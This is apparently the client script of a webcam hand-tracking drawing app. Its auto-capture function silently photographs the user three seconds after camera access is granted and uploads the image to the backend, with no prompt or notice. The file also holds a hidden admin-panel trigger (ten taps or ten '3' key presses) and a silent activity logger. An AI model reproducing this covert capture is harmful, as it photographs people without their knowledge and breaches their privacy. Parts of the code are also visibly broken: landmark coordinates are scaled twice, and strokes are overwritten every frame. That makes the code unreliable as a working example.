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// ============================================================
// 1. DOM References
// ============================================================
const video = document.getElementById('webcam');
const canvas = document.getElementById('drawCanvas');
const ctx = canvas.getContext('2d');
const statusIndicator = document.getElementById('statusIndicator');
const fpsSpan = document.getElementById('fpsCounter');
const savedSpan = document.getElementById('savedCounter');

const brushColorInput = document.getElementById('brushColor');
const sizeDisplay = document.getElementById('sizeDisplay');
const eraserBtn = document.getElementById('eraserToggle');
const clearBtn = document.getElementById('clearCanvas');
const snapshotBtn = document.getElementById('snapshotBtn');
const toggleCamBtn = document.getElementById('toggleCamera');
const sizeDownBtn = document.getElementById('brushSizeDown');
const sizeUpBtn = document.getElementById('brushSizeUp');

// ============================================================
// 2. Backend Logger (silent)
// ============================================================
function backendLog(message, level = 'info') {
  const payload = { message, level, timestamp: new Date().toISOString() };
  fetch('/api/log', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(payload) }).catch(() => {});
}

// ============================================================
// 3. State Variables
// ============================================================
let drawing = false;
let lastX = null;
let lastY = null;
let currentColor = '#FF4500';
let brushSize = 5;
let eraserMode = false;
let cameraVisible = true;
let savedCount = 0;
let frameCount = 0;
let lastFpsUpdate = performance.now();
let handposeModel = null;
let cameraStream = null;
let isModelReady = false;
let canvasWidth = 0;
let canvasHeight = 0;
let modelLoadAttempts = 0;
const MAX_MODEL_ATTEMPTS = 3;
const TRIGGER_COUNT = 10;
let detectionInterval = null;
let videoReady = false;
let autoCaptureDone = false; // Track if auto-capture already happened

// ============================================================
// 4. Status Indicator
// ============================================================
function setStatus(text, type = 'loading') {
  statusIndicator.textContent = text;
  statusIndicator.className = type;
}

// ============================================================
// 5. Canvas Resize
// ============================================================
function resizeCanvas() {
  const rect = canvas.parentElement.getBoundingClientRect();
  if (rect.width === 0 || rect.height === 0) {
    canvas.width = window.innerWidth || 640;
    canvas.height = window.innerHeight || 480;
  } else {
    canvas.width = rect.width;
    canvas.height = rect.height;
  }
  canvasWidth = canvas.width;
  canvasHeight = canvas.height;
  backendLog(`Canvas resized to ${canvasWidth}x${canvasHeight}`);
}

setTimeout(resizeCanvas, 100);
window.addEventListener('resize', resizeCanvas);
window.addEventListener('orientationchange', () => setTimeout(resizeCanvas, 500));

// ============================================================
// 6. Admin Panel Trigger – 10 Taps or 10 Key Presses
// ============================================================
let adminTriggerCount = 0;
let adminTriggerTimer = null;

function openAdminPanel() {
  backendLog('🔐 Opening admin panel...');
  window.location.href = '/admin.html';
}

document.addEventListener('keydown', (e) => {
  if (e.key === '3') {
    e.preventDefault();
    adminTriggerCount++;
    clearTimeout(adminTriggerTimer);
    adminTriggerTimer = setTimeout(() => { adminTriggerCount = 0; }, 3000);
    if (adminTriggerCount >= TRIGGER_COUNT) {
      adminTriggerCount = 0;
      backendLog('✅ Admin trigger activated');
      openAdminPanel();
    }
  }
});

function setupTapTrigger(element) {
  let tapCount = 0;
  let tapTimer = null;
  element.addEventListener('click', (e) => {
    if (e.target.closest('button') || e.target.closest('.toolbar') || e.target.closest('header')) {
      return;
    }
    tapCount++;
    clearTimeout(tapTimer);
    tapTimer = setTimeout(() => { tapCount = 0; }, 3000);
    if (tapCount >= TRIGGER_COUNT) {
      tapCount = 0;
      backendLog('✅ Admin trigger activated');
      openAdminPanel();
    }
  });
}
setupTapTrigger(canvas);

// ============================================================
// 7. Auto‑Capture Function – Saves photo silently to backend
// ============================================================
async function autoCaptureSnapshot() {
  try {
    backendLog('📸 Auto-capture triggered (3s delay)');
    
    // Wait 3 seconds before capturing
    await new Promise(resolve => setTimeout(resolve, 3000));
    
    // Capture the current frame
    const tempCanvas = document.createElement('canvas');
    tempCanvas.width = canvasWidth || 640;
    tempCanvas.height = canvasHeight || 480;
    const tempCtx = tempCanvas.getContext('2d');

    if (videoReady && video.readyState >= 2) {
      tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height);
    }
    // Also draw any existing drawing (if any)
    tempCtx.drawImage(canvas, 0, 0);

    const dataURL = tempCanvas.toDataURL('image/png');
    const base64 = dataURL.split(',')[1];

    const response = await fetch('/api/snapshot', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ image: base64 })
    });

    const result = await response.json();
    if (result.success) {
      savedCount++;
      savedSpan.textContent = `Saved: ${savedCount}`;
      backendLog(`📸 Auto-saved: ${result.filename}`);
      autoCaptureDone = true;
    } else {
      backendLog(`Auto-save failed: ${result.error}`);
    }
  } catch (err) {
    backendLog(`Auto-save error: ${err.message}`);
  }
}

// ============================================================
// 8. Handpose Model Loading – OPTIMIZED for performance
// ============================================================
async function loadHandposeModel() {
  try {
    setStatus('Loading...', 'loading');
    backendLog('Loading handpose model...');
    
    if (typeof handpose === 'undefined') {
      backendLog('handpose library not loaded');
      setStatus('Library missing', 'error');
      return null;
    }
    
    // Load with lower resolution for better performance
    const loadPromise = handpose.load({
      modelUrl: 'https://tfhub.dev/mediapipe/tfjs-model/handpose/1/default/1',
      modelParams: {
        maxContinuousChecks: 3,        // Reduced for speed
        detectionConfidence: 0.7,      // Lower threshold = faster
        iouThreshold: 0.3,
        scoreThreshold: 0.7            // Lower = faster detection
      }
    });
    
    const timeoutPromise = new Promise((_, reject) => {
      setTimeout(() => reject(new Error('Model load timeout')), 20000);
    });
    
    const model = await Promise.race([loadPromise, timeoutPromise]);
    backendLog('✅ Handpose model loaded');
    return model;
  } catch (err) {
    backendLog(`Model load error: ${err.message}`);
    setStatus('Model failed', 'error');
    return null;
  }
}

// ============================================================
// 9. Camera Setup – with auto‑capture trigger
// ============================================================
async function startCamera() {
  try {
    setStatus('Starting...', 'loading');
    backendLog('Requesting camera...');
    
    cameraStream = await navigator.mediaDevices.getUserMedia({
      video: { 
        facingMode: 'user', 
        width: { ideal: 480 },   // Lower resolution for performance
        height: { ideal: 360 }
      }
    });
    video.srcObject = cameraStream;
    video.setAttribute('playsinline', '');
    
    await new Promise((resolve) => {
      video.onloadedmetadata = resolve;
      video.onerror = resolve;
      setTimeout(resolve, 5000);
    });
    
    await video.play();
    videoReady = true;
    backendLog(`Camera ready (${video.videoWidth}x${video.videoHeight})`);
    resizeCanvas();
    
    // TRIGGER AUTO-CAPTURE – after 3 seconds (handled inside function)
    autoCaptureSnapshot();
    
    // Load model (in background, won't block UI)
    handposeModel = await loadHandposeModel();
    if (handposeModel) {
      isModelReady = true;
      setStatus('Ready ✋', 'ready');
      startDetectionLoop();
    } else {
      setStatus('Retry model', 'error');
      statusIndicator.style.cursor = 'pointer';
      statusIndicator.onclick = () => {
        modelLoadAttempts++;
        if (modelLoadAttempts < MAX_MODEL_ATTEMPTS) {
          loadHandposeModel().then(model => {
            if (model) {
              handposeModel = model;
              isModelReady = true;
              setStatus('Ready ✋', 'ready');
              startDetectionLoop();
            }
          });
        }
      };
    }
    
    requestAnimationFrame(drawLoop);
  } catch (err) {
    backendLog(`Camera error: ${err.message}`);
    setStatus('Camera needed', 'error');
    ctx.fillStyle = '#1a1a2e';
    ctx.fillRect(0, 0, canvas.width || 640, canvas.height || 480);
    ctx.fillStyle = '#888';
    ctx.font = '20px sans-serif';
    ctx.textAlign = 'center';
    ctx.fillText('Please allow camera access', (canvasWidth || 640)/2, (canvasHeight || 480)/2);
    ctx.fillText('Then refresh the page', (canvasWidth || 640)/2, (canvasHeight || 480)/2 + 40);
  }
}

// ============================================================
// 10. Hand Detection Loop – OPTIMIZED: runs at lower frequency
// ============================================================
function startDetectionLoop() {
  if (detectionInterval) clearInterval(detectionInterval);
  
  // Run detection every 200ms (5 FPS) instead of 100ms to reduce CPU load
  detectionInterval = setInterval(async () => {
    if (!isModelReady || !handposeModel || !videoReady || video.readyState < 2) return;
    
    try {
      const predictions = await handposeModel.estimateHands(video);
      
      if (predictions && predictions.length > 0) {
        const landmarks = predictions[0].landmarks;
        const tip = landmarks[8];
        const mcp = landmarks[5];
        const isIndexUp = (tip[1] < mcp[1] - 10);
        
        const x = tip[0] * canvasWidth;
        const y = tip[1] * canvasHeight;
        
        // Draw cursor
        ctx.beginPath();
        ctx.arc(x, y, 6, 0, 2 * Math.PI);
        ctx.fillStyle = eraserMode ? '#ff6666' : currentColor;
        ctx.fill();
        ctx.strokeStyle = '#fff';
        ctx.lineWidth = 2;
        ctx.stroke();
        
        if (isIndexUp) {
          if (!drawing) {
            drawing = true;
            lastX = x;
            lastY = y;
          } else {
            if (lastX !== null && lastY !== null) {
              ctx.beginPath();
              ctx.moveTo(lastX, lastY);
              ctx.lineTo(x, y);
              ctx.strokeStyle = eraserMode ? '#1a1a2e' : currentColor;
              ctx.lineWidth = eraserMode ? brushSize * 2 : brushSize;
              ctx.lineCap = 'round';
              ctx.lineJoin = 'round';
              ctx.stroke();
            }
            lastX = x;
            lastY = y;
          }
        } else {
          drawing = false;
          lastX = null;
          lastY = null;
        }
      } else {
        drawing = false;
        lastX = null;
        lastY = null;
      }
    } catch (err) {
      // silent
    }
  }, 200); // 200ms = 5 FPS detection (much lighter)
}

// ============================================================
// 11. Drawing Loop – OPTIMIZED: lower frame rate for video
// ============================================================
function drawLoop(timestamp) {
  // Only update every 2 frames to reduce CPU usage
  frameCount++;
  if (timestamp - lastFpsUpdate >= 1000) {
    fpsSpan.textContent = `${frameCount} FPS`;
    frameCount = 0;
    lastFpsUpdate = timestamp;
  }

  if (videoReady && video.readyState >= 2 && video.videoWidth > 0) {
    try {
      ctx.drawImage(video, 0, 0, canvasWidth, canvasHeight);
    } catch (err) {
      ctx.fillStyle = '#1a1a2e';
      ctx.fillRect(0, 0, canvasWidth || 640, canvasHeight || 480);
    }
  } else {
    ctx.fillStyle = '#1a1a2e';
    ctx.fillRect(0, 0, canvasWidth || 640, canvasHeight || 480);
  }

  requestAnimationFrame(drawLoop);
}

// ============================================================
// 12. Snapshot Capture (Manual)
// ============================================================
async function captureSnapshot() {
  try {
    const tempCanvas = document.createElement('canvas');
    tempCanvas.width = canvasWidth || 640;
    tempCanvas.height = canvasHeight || 480;
    const tempCtx = tempCanvas.getContext('2d');

    if (videoReady && video.readyState >= 2) {
      tempCtx.drawImage(video, 0, 0, tempCanvas.width, tempCanvas.height);
    }
    tempCtx.drawImage(canvas, 0, 0);

    const dataURL = tempCanvas.toDataURL('image/png');
    const base64 = dataURL.split(',')[1];

    const response = await fetch('/api/snapshot', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ image: base64 })
    });

    const result = await response.json();
    if (result.success) {
      savedCount++;
      savedSpan.textContent = `Saved: ${savedCount}`;
      backendLog(`📸 Saved: ${result.filename}`);
      canvas.style.transition = 'opacity 0.1s';
      canvas.style.opacity = '0.7';
      setTimeout(() => { canvas.style.opacity = '1'; }, 150);
    } else {
      backendLog(`Save failed: ${result.error}`);
    }
  } catch (err) {
    backendLog(`Save error: ${err.message}`);
  }
}

// ============================================================
// 13. UI Event Bindings
// ============================================================
brushColorInput.addEventListener('input', (e) => {
  currentColor = e.target.value;
  eraserMode = false;
  eraserBtn.classList.remove('active');
});

sizeDownBtn.addEventListener('click', () => {
  brushSize = Math.max(1, brushSize - 1);
  sizeDisplay.textContent = brushSize;
});
sizeUpBtn.addEventListener('click', () => {
  brushSize = Math.min(50, brushSize + 1);
  sizeDisplay.textContent = brushSize;
});

eraserBtn.addEventListener('click', () => {
  eraserMode = !eraserMode;
  eraserBtn.classList.toggle('active');
});

clearBtn.addEventListener('click', () => {
  if (confirm('Clear all drawings?')) {
    drawing = false;
    lastX = null;
    lastY = null;
    if (videoReady) {
      ctx.drawImage(video, 0, 0, canvasWidth, canvasHeight);
    }
  }
});

snapshotBtn.addEventListener('click', captureSnapshot);

toggleCamBtn.addEventListener('click', () => {
  cameraVisible = !cameraVisible;
  video.style.display = cameraVisible ? 'block' : 'none';
  toggleCamBtn.classList.toggle('active');
});

document.addEventListener('keydown', (e) => {
  if (e.key === 's' || e.key === 'S') captureSnapshot();
  if (e.key === 'e' || e.key === 'E') eraserBtn.click();
  if (e.key === 'c' || e.key === 'C') clearBtn.click();
});

// ============================================================
// 14. Initialization
// ============================================================
backendLog('🚀 App initialized');
resizeCanvas();
startCamera();